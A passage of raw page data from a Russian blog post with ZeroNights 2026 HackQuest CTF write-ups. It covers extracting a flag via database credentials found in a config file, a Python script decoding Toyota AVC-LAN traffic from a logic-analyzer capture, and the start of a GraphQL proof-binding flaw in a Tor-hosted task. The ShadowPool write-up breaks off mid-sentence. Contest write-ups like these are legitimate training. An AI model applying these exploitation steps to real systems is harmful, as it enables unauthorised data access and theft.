hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0412 \u0444\u0430\u0439\u043b\u0435 cloud\/config.py \u043b\u0435\u0436\u0438\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0411\u0414:<\/p>\n<pre><code>postgresql+asyncpg:\/\/yaxoo_cloud:yaxoo_cloud@localhost:5432\/yaxoo_cloud<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e \u0442\u043e\u0439 \u0436\u0435 \u0441\u0445\u0435\u043c\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b Market:<\/p>\n<pre><code>host:     postgresdatabase: yaxoo_marketusername: yaxoo_marketpassword: yaxoo_market<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p><code>asyncpg<\/code> \u0443\u0436\u0435 \u043b\u0435\u0436\u0430\u043b \u0432 \u043f\u0440\u0438\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c virtualenv. \u041d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0435\u0433\u043e \u0432 <code>sys.path<\/code>, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e Python \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f \u0441 <code>-I<\/code>:<\/p>\n<pre><code class=\"python\">import syssys.path.insert(0, \"\/app\/.venv\/lib\/python3.13\/site-packages\")import asyncpg<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e \u0442\u0430\u0431\u043b\u0438\u0446\u044b <code>customers<\/code>, <code>orders<\/code>, <code>products<\/code>, <code>wallets<\/code> \u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0442\u0430\u0431\u043b\u0438\u0446.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/b2\/74\/4c\/b2744cc3f73a3da6302c37c06bdf35cb.png\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/b2\/74\/4c\/b2744cc3f73a3da6302c37c06bdf35cb.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/b2\/74\/4c\/b2744cc3f73a3da6302c37c06bdf35cb.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u041e\u0441\u0442\u0430\u0432\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0443\u0436\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443:<\/p>\n<pre><code class=\"sql\">SELECT id, slug, employee_only, contentFROM productsWHERE id = 'p11';<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0412 \u0441\u043a\u0440\u044b\u0442\u043e\u043c \u043f\u043e\u043b\u0435 <code>content<\/code> \u043b\u0435\u0436\u0430\u043b\u043e:<\/p>\n<pre><code>zn_hackquest{c0ngr4tul4t10n5_y0u_4r3_th3_sn4k13st_jwt_w1z4rd}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1091180\/\">https:\/\/habr.com\/ru\/articles\/1091180\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p> 30 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u043c\u044b \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u044e \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 ZeroNights 2026. \u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c! \u0411\u0435\u0437 \u0432\u0430\u0441 \u043d\u0435 \u0431\u044b\u043b\u043e \u0431\u044b \u043d\u0438 \u043a\u043b\u0430\u0441\u0441\u043d\u044b\u0445 \u0434\u043e\u043a\u043b\u0430\u0434\u043e\u0432, \u043d\u0438\u00a0\u043c\u0435\u0440\u0447\u0430, \u043d\u0438 \u0432\u0435\u0441\u0435\u043b\u043e\u0439 \u0441\u0443\u0435\u0442\u044b\u00a0\u0432\u043e\u043a\u0440\u0443\u0433 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e\u0433\u043e. \u0421\u043a\u043e\u0440\u043e \u043d\u0430\u0447\u043d\u0451\u043c \u0432\u044b\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0430 \u0441\u0430\u0439\u0442, \u0442\u0430\u043c \u0431\u0443\u0434\u0443\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438 \u0432\u0438\u0434\u0435\u043e\u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043e\u043a\u043b\u0430\u0434\u043e\u0432. \u0410 \u043f\u043e\u043a\u0430 \u0445\u043e\u0442\u0438\u043c \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0440\u0430\u0439\u0442\u0430\u043f\u0430\u043c\u0438 \u043d\u0430 \u0437\u0430\u0434\u0430\u043d\u0438\u044f HackQuest \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430. \u042d\u0442\u043e \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e\u0435 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 CTF, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438. \u0421\u0438\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0435 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0431\u0438\u043b\u0435\u0442\u044b \u043d\u0430 ZeroNights. \u041e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0432\u0441\u0442\u0440\u044f\u0445\u043d\u0443\u0442\u044c\u0441\u044f \u043f\u0435\u0440\u0435\u0434 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0435\u043c!\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u0435\u0439 2026Day #1 \/ Car, Car Japan\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435So, some time ago, one of my friends finally acquired a car &#8212; not a new one, but a reliable, good Japanese car.In its premium configuration, it was equipped with an artifact of the past &#8212; a whole CD changer! But, unfortunately, it did not work as intended &#8212; the car stereo always gave us a really strange error :(Can you look at it and figure out what\u2019s wrong?capture.srThis task was prepared by B4CKSP4CE\u0420\u0430\u0439\u0442\u0430\u043f \u043e\u0442 feadal\u0414\u0430\u043c\u043f \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440\u0430 (.sr \u2014 \u0441\u0435\u0441\u0441\u0438\u044f sigrok) \u0441 \u0448\u0438\u043d\u044b \u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043c\u0430\u0433\u043d\u0438\u0442\u043e\u043b\u044b. \u041d\u0430 \u0448\u0435\u0441\u0442\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u043e\u0432\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u0430\u0445 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0434\u0432\u0435 \u0434\u0438\u0444\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0448\u0438\u043d\u044b: CAN 62.5 kbps (\u0442\u0430\u043c \u043b\u0435\u0436\u0438\u0442 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 \u0444\u043b\u0430\u0433-\u043e\u0431\u043c\u0430\u043d\u043a\u0430, \u0442\u0430 \u0441\u0430\u043c\u0430\u044f \u00ab\u0441\u0442\u0440\u0430\u043d\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430\u00bb \u043d\u0430 \u0434\u0438\u0441\u043f\u043b\u0435\u0435) \u0438 Toyota AVC-LAN \u2014 \u0448\u0438\u043d\u0430 CD-\u0447\u0435\u0439\u043d\u0434\u0436\u0435\u0440\u0430. \u0427\u0435\u0439\u043d\u0434\u0436\u0435\u0440 \u043e\u0442\u0434\u0430\u0451\u0442 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u0443 \u0444\u043b\u0430\u0433\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u0443\u044e \u043f\u0430\u0440\u0443 (\u0434\u0438\u0441\u043a, \u0442\u0440\u0435\u043a); \u043e\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043e\u043d\u0438 \u0432\u043f\u0435\u0440\u0435\u043c\u0435\u0448\u043a\u0443, \u043d\u0430\u0434\u043e \u043e\u0442\u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c.\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c .sr \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u0430\u0445.sr \u2014 \u044d\u0442\u043e ZIP \u0441 \u0441\u0435\u0441\u0441\u0438\u0435\u0439 sigrok. \u0412 metadata: samplerate=500000 Hz, 6 \u0430\u043d\u0430\u043b\u043e\u0433\u043e\u0432\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u043e\u0432, ~2.02 \u0441.\u0411\u0435\u0433\u043b\u0430\u044f \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u0438 \u0448\u0438\u0440\u0438\u043d \u0438\u043c\u043f\u0443\u043b\u044c\u0441\u043e\u0432 \u0434\u0430\u0451\u0442:\u041a\u0430\u043d\u0430\u043b\u044b\u0427\u0442\u043e \u044d\u0442\u043eCH2\u043d\u0430\u043f\u0440\u044f\u0436\u0435\u043d\u0438\u0435 \u0431\u043e\u0440\u0442-\u0441\u0435\u0442\u0438: 12.4 \u0412 \u2192 8.9 \u0412 (\u0441\u0442\u0430\u0440\u0442\u0435\u0440) \u2192 14.2 \u0412 (\u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440)CH5ACC-\u043f\u0438\u0442\u0430\u043d\u0438\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0430 t\u22480.817 \u0441CH1\/CH42.5 \u0412 \u043f\u043e\u043a\u043e\u0439, \u00b11 \u0412 \u0434\u043e\u043c\u0438\u043d\u0430\u043d\u0442, \u043a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c 8 \u0441\u044d\u043c\u043f\u043b\u043e\u0432, \u0441\u0435\u0440\u0438\u0438 \u043e\u0431\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 5 \u0431\u0438\u0442\u0430\u0445 \u2192 CAN, bit-stuffing, 62.5 kbpsCH3\/CH6\u0441\u0442\u0430\u0440\u0442-\u0431\u0438\u0442 168 \u043c\u043a\u0441, \u043f\u0435\u0440\u0438\u043e\u0434 \u0431\u0438\u0442\u0430 39 \u043c\u043a\u0441, high 20\/33 \u043c\u043a\u0441 \u2192 AVC-LAN\u0424\u0435\u0439\u043a\u043e\u0432\u044b\u0439 CANCAN \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 491 \u043a\u0430\u0434\u0440, \u0432\u0441\u0435 CRC-valid, ID 0x0C4, 0x0B4, 0x3B4, 0x5D0. 0x5D0 \u2014 6 \u0447\u0430\u043d\u043a\u043e\u0432 \u0441 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u043c \u0432 \u0431\u0430\u0439\u0442\u0435 0, \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0442\u0441\u044f \u043a\u0430\u0436\u0434\u044b\u0435 ~320 \u043c\u0441:00 |notzn{y| 01 |0U7_p71| 02 |NCe5S_1|03 |s_1N_4n| 04 |07He7_C| 05 |4s71E}|\u0421\u043a\u043b\u0435\u0438\u0432\u0430\u0435\u043c: notzn{y0U7_p71NCe5S_1s_1N_4n07He7_C4s71E} \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u00ab\u0441\u0442\u0440\u0430\u043d\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043c\u0430\u0433\u043d\u0438\u0442\u043e\u043b\u0430, \u0438 \u044f\u0432\u043d\u043e\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u0438\u0441\u043a\u0430\u0442\u044c \u0432 \u0434\u0440\u0443\u0433\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u2014 \u043d\u0430 \u0448\u0438\u043d\u0435 \u0447\u0435\u0439\u043d\u0434\u0436\u0435\u0440\u0430.AVC-LAN\u041a\u0430\u0434\u0440 AVC-LAN: start | brd(1) | master(12)+p | slave(12)+p | ACK | CTL(4)+p | ACK | DL(8)+p | ACK | DL\u00d7[data(8)+p+ACK], \u0442\u043e \u0435\u0441\u0442\u044c \u0440\u043e\u0432\u043d\u043e 44 + 10\u00b7DL \u0431\u0438\u0442 \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0430\u0440\u0442-\u0431\u0438\u0442\u0430.\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0437\u0430\u0441\u0430\u0434\u0430 \u2014 \u043f\u043e\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0431\u0438\u0442\u0430 \u0438\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u0438\u0448\u0443\u0442 \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f\u0445 AVC-LAN: \u0437\u0434\u0435\u0441\u044c high 33 \u043c\u043a\u0441 = 1, 20 \u043c\u043a\u0441 = 0. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e: \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u0439 \u043f\u043e\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438 CTL \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f 0xF, \u0430\u0434\u0440\u0435\u0441\u0430 \u2014 0x190 (\u0433\u043e\u043b\u043e\u0432\u0430) \u0438 0x360 (\u0447\u0435\u0439\u043d\u0434\u0436\u0435\u0440), \u0430 DL \u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u0430\u0434\u0440\u0430.\u0413\u043e\u043b\u043e\u0432\u0430 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u0442 \u043c\u0430\u0433\u0430\u0437\u0438\u043d (00 25 63 90 &lt;disc&gt; \u2014 \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0434\u0438\u0441\u043a, 00 25 63 94 &lt;track&gt; \u2014 \u0442\u0440\u0435\u043a), \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 00 31 63 ED &lt;disc&gt; &lt;track&gt;, \u0430 \u0447\u0435\u0439\u043d\u0434\u0436\u0435\u0440 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 00 63 31 FD &lt;disc&gt; &lt;track&gt; 01 00 &lt;byte&gt; \u2014 \u0438 \u0432\u043e\u0442 \u044d\u0442\u043e\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0431\u0430\u0439\u0442 \u0438 \u0435\u0441\u0442\u044c \u0441\u0438\u043c\u0432\u043e\u043b \u0444\u043b\u0430\u0433\u0430. \u0414\u0438\u0441\u043a\u0438 \u043e\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u0448\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435, \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u043f\u043e (disc, track) \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0443.\u0421\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0444\u043b\u0430\u0433\u0430:#!\/usr\/bin\/env python3import sys, zipfileimport numpy as npSR = 500_000.0          # from the sigrok `metadata` fileSR_FILE = sys.argv[1] if len(sys.argv) &gt; 1 else &#8216;zn26-day1-car-japan-MK5V6ByS9Ab5.sr&#8217;# &#8212; 1. read the two AVC-LAN channels straight out of the sigrok session &#8212;-with zipfile.ZipFile(SR_FILE) as z:    ch3 = np.frombuffer(z.read(&#8216;analog-1-3-1&#8242;), dtype='&lt;f4&#8217;)   # AVC-LAN bus-    ch6 = np.frombuffer(z.read(&#8216;analog-1-6-1&#8242;), dtype='&lt;f4&#8217;)   # AVC-LAN bus+bus = (ch6 &#8212; ch3) &gt; 0.6                                        # differential -&gt; digital# &#8212; 2. AVC-LAN is pulse-width coded: measure every high pulse &#8212;&#8212;&#8212;&#8212;&#8212;chg = np.flatnonzero(np.diff(bus.astype(np.int8))) + 1edges = np.concatenate(([0], chg, [len(bus)]))runs = [(bool(bus[edges[i]]), int(edges[i]), int(edges[i + 1] &#8212; edges[i]))        for i in range(len(edges) &#8212; 1)]highs = [(st, ln) for lvl, st, ln in runs if lvl]# bit period 39us: start bit ~168us, logic 1 = 33us high, logic 0 = 20us highframes, cur = [], Nonefor start, width in highs:    us = width \/ SR * 1e6    if us &gt; 100:                       # start bit -&gt; new frame        if cur:            frames.append(cur)        cur = []        continue    if cur is not None:        cur.append(1 if us &gt; 26 else 0)if cur:    frames.append(cur)def num(bits):    v = 0    for b in bits:        v = (v &lt;&lt; 1) | b    return v# &#8212; 3. parse frames: brd(1) M(12)+p S(12)+p ACK CTL(4)+p ACK DL(8)+p ACK &#8212;-#        then DL x [ data(8) + parity + ACK ]                = 44 + 10*DL bitschars = {}for s in frames:    if len(s) &lt; 44 or num(s[28:32]) != 0xF:      # CTL is always 0xF        continue    master, slave, dl = num(s[1:13]), num(s[14:26]), num(s[34:42])    data, p = [], 44    for _ in range(dl):        if p + 10 &gt; len(s):            break        assert (bin(num(s[p:p + 8])).count(&#8216;1&#8217;) + s[p + 8]) % 2 == 0, &#8216;parity&#8217;        data.append(num(s[p:p + 8]))        p += 10    # CD changer (0x360) -&gt; head unit (0x190): &#171;track info&#187; reply    #   00 63 31 FD &lt;disc&gt; &lt;track&gt; 01 00 &lt;byte&gt;    if (master, slave) == (0x360, 0x190) and data[:4] == [0x00, 0x63, 0x31, 0xFD]:        chars[(data[4], data[5])] = data[8]# &#8212; 4. the changer stores one flag byte per (disc, track); sort to reassembleflag = &#187;.join(chr(chars[k]) for k in sorted(chars))print(f'{len(chars)} slots over discs {sorted({d for d, _ in chars})}&#8217;)print(flag)\u0412\u044b\u0432\u043e\u0434:$ python3 solve.py zn26-day1-car-japan-MK5V6ByS9Ab5.sr28 slots over discs [1, 2, 3, 4, 5, 6]zn{V5t4v1l_D1sK1_v_d15K0v0D}Day #2 \/ ShadowPool\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435Hi, anon! Looks like there is some free XMR floating around. ShadowPool operators were careful with their money, but not quite careful enough with proofs.Find what they missed. The XMR is yours.zerochan554vzq2suipchlyjqqm4jrstyyqkwabvr4oypwamtmfvrdqd.onionThis task was prepared by @crytech7\u041f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u043823\/08\/2026 15:05 Seems like ShadowPool operators deployed to mainnet at around 13:37.1.116 XMR still awaits u \ud83d\udc9a\u0420\u0430\u0439\u0442\u0430\u043f \u043e\u0442 mkvfaa\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0433\u0434\u0435 \u043c\u044b\u0422.\u043a. \u0442\u0430\u0441\u043a \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442 \u0432 Tor, \u044f \u043f\u043e\u0434\u043d\u044f\u043b \u0441\u0435\u0431\u0435 \u043f\u0440\u043e\u043a\u0441\u0438 \u043d\u0430 127.0.0.1:9051 \u0438 \u0432\u0441\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0434\u0430\u043b\u044c\u0448\u0435 \u0445\u043e\u0434\u0438\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0433\u043e\u041d\u0430 \u0441\u0430\u0439\u0442\u0435 \u043d\u0430\u0448\u043b\u0438\u0441\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f, REST API \u0438 GraphQL. \u0421\u0430\u043c\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \/docs. \u0422\u0430\u043c \u0431\u0435\u0437 \u043e\u0441\u043e\u0431\u044b\u0445 \u0437\u0430\u0433\u0430\u0434\u043e\u043a \u0431\u044b\u043b\u0430 \u0434\u0430\u043d\u0430 \u0441\u0445\u0435\u043c\u0430 proof:leaf_hash = SHA256(secret || serial)commitment = SHA256(leaf_hash || blind)challenge = SHA256(epoch_root || commitment)response = SHA256(challenge || secret || blind)\u0414\u0430\u043b\u044c\u0448\u0435 verifier \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u043e witness_path \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c epoch_root.blind \u0437\u0434\u0435\u0441\u044c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0439 \u0441\u043e\u043b\u044c\u044e \u0434\u043b\u044f commitment. \u0415\u0441\u043b\u0438 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u043b\u0438\u0441\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 blind, commitment \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0437\u043d\u044b\u043c, \u0442\u043e:SHA256(leaf_hash || blind_1) != SHA256(leaf_hash || blind_2)\u041d\u0430 \u0441\u0442\u043e\u0439\u043a\u043e\u0441\u0442\u044c SHA-256 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u044f\u0432\u043d\u043e \u043d\u0435 \u043d\u0430\u043c\u0435\u043a\u0430\u043b\u043e. \u0417\u043d\u0430\u0447\u0438\u0442, \u043d\u0430\u0434\u043e \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0435 \u043d\u0430 \u0445\u0435\u0448, \u0430 \u043d\u0430 \u0442\u043e, \u043a\u0430\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438.GraphQL-\u0441\u0445\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u043f\u043e\u043b\u044f:getEpochsgetAccount(id)persistedQueriesverifyBetaReserveProof(input)proofJob(id)proofJobs\u0412\u0445\u043e\u0434 \u0434\u043b\u044f verifyBetaReserveProof:ProofInput {    proofJson    accountId    action}\u0412\u044b\u0445\u043e\u0434:ProofResult {validtokenflag}\u0417\u0434\u0435\u0441\u044c \u0443\u0436\u0435 \u0431\u044b\u043b\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e accountId \u0438 action \u043b\u0435\u0436\u0430\u0442 \u0440\u044f\u0434\u043e\u043c \u0441 proof, \u043d\u043e \u043d\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u0433\u043e. \u0412 \u0444\u043e\u0440\u043c\u0443\u043b\u0435 challenge \u0438\u0445 \u0442\u043e\u0436\u0435 \u043d\u0435\u0442. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e proof \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0442\u043e\u043c, \u0434\u043b\u044f \u043a\u0430\u043a\u043e\u0433\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u0438 \u043a\u0430\u043a\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043d \u0431\u044b\u043b \u0441\u043e\u0437\u0434\u0430\u043d.\u041d\u0430 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u044f \u044d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u043b, \u043d\u043e \u0440\u0435\u0448\u0438\u043b, \u0447\u0442\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u043b\u0438\u0441\u0442. \u042d\u0442\u043e \u0438 \u0431\u044b\u043b\u043e \u043f\u0435\u0440\u0432\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u0432 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430.\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u0441 150 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430\u043c\u0438\/api\/stats \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u043e\u0435:accounts: 150proofs_verified: 414\u0427\u0435\u0440\u0435\u0437 